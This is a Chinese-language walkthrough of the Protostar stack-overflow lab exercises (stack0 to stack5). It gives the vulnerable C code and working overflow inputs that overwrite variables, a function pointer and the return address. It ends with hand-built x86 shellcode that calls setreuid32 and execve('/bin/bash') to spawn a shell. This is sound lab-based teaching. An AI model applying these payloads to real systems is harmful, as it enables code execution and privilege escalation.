通过 Protostar 学习“栈溢出”攻击


背景

Protostar (http://exploit-exercises.lains.space/protostar/) 提供了一系列常见渗透练习:

  • 网络编程
  • 字节序
  • 套接字
  • 栈溢出攻击
  • 格式化字符串攻击
  • 堆溢出攻击

本文将针对练习中“栈溢出攻击”部分进行讲解,希望读者可以对这其形成一些基础的认识。

规则

通过各种形式的漏洞劫持工作流。题目及靶机见官网。

注:使用 x86 而非 amd64 平台。

前置知识

x86 栈结构

Stack 0

volatile int modified;
char buffer[64];

modified = 0;
gets(buffer);

if(modified != 0) {
    printf("you have changed the 'modified' variable\n");
} else {
    printf("Try again?\n");
}

直接往 buffer 读入超过 64 字节数据即可覆盖掉 modified

$ ./stack0
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
you have changed the 'modified' variable\n

Stack 1

strcpy(buffer, argv[1]);

if(modified == 0x61626364) {
    printf("you have correctly got the variable to the right value\n");
} else {
    printf("Try again, you got 0x%08x\n", modified);
}

需要利用参数修改变量,小端序 0x61626364 对应 YXWV

$ ./stack1 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffYXWV
you have correctly got the variable to the right value

Stack 2

variable = getenv("GREENIE");
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
    printf("you have correctly modified the variable\n");
}

设置环境变量即可:

$ GREENIE=`echo -e -n "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\x0a\x0d\x0a\x0d"`
$ ./stack2
you have correctly modified the variable

Stack 3

void win() {
    printf("code flow successfully changed\n");
}

int main(int argc, char **argv) {
    volatile int (*fp)();
    char buffer[64];

    fp = 0;

    gets(buffer);

    if(fp) {
        printf("calling function pointer, jumping to 0x%08x\n", fp);
        fp();
    }
}

我们需要修改 fp 指向 win,查看 win 地址:

$ objdump -D stack3
...
0804846b <win>:
...
$ echo -n -e  'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\x6b\x84\x04\x08' | ./stack3
calling function pointer, jumping to 0x0804846b
code flow successfully changed

Stack 4

这次需要通过覆盖返回值完成 eip 劫持。查看反汇编,esp 对其了8位,需要补齐:

$ objdump -D stack4
...
080483f4 <win>:
...
$ echo -n -e  'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000\x28\xf6\xff\xbf\xf4\x83\x04\x08' | ./stack4
code flow successfully changed

Stack 5

buffer 里写一段代码,再补全到覆盖返回地址即可

查找系统调用号:

名称 编号
setreuid32 203
execve 11

函数代码

int hello() {
    long ret;
    asm volatile("int $0x80" : "=a"(ret) : "a"(203), "b"(974), "c"(974));
    asm volatile("int $0x80"
                 : "=a"(ret)
                 : "a"(11), "b"("/bin/bash"), "c"(0), "d"(0));
}

编译

80483e2:       b8 cb 00 00 00          mov    $0xcb,%eax
80483e7:       ba ce 03 00 00          mov    $0x3ce,%edx
80483ec:       b9 ce 03 00 00          mov    $0x3ce,%ecx
80483f1:       89 d3                   mov    %edx,%ebx
80483f3:       cd 80                   int    $0x80
80483f8:       b8 0b 00 00 00          mov    $0xb,%eax
80483fd:       bb b0 84 04 08          mov    $0x80484b0,%ebx
8048402:       b9 00 00 00 00          mov    $0x0,%ecx
8048407:       ba 00 00 00 00          mov    $0x0,%edx
804840c:       cd 80                   int    $0x80

buffer 地址为 0xbffff580

构造如下代码:

位置 内容 大小
0xbffff580 /bin/bash\0\0\0\0\0\0 0xf
0xbffff58f 代码 0x3d
0xbffff5cc 0xbffff58f 0x4

构造字符串,写入文件:

/bin/bash\x00\x00\x00\x00\x00\x00\xb8
\xcb\x00\x00\x00\xba\xce\x03\x00\x00\xb9\xce\x03\x00\x00\x89\xd3
\xcd\x80\xb8\x0b\x00\x00\x00\xbb\x80\xf5\xff\xbf\xb9\x00\x00\x00
\x00\xba\x00\x00\x00\x00\xcd\x80\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8f\xf5\xff\xbf
$ cat a.txt | ./stack5
# 获得了新的 shell
user@host:~$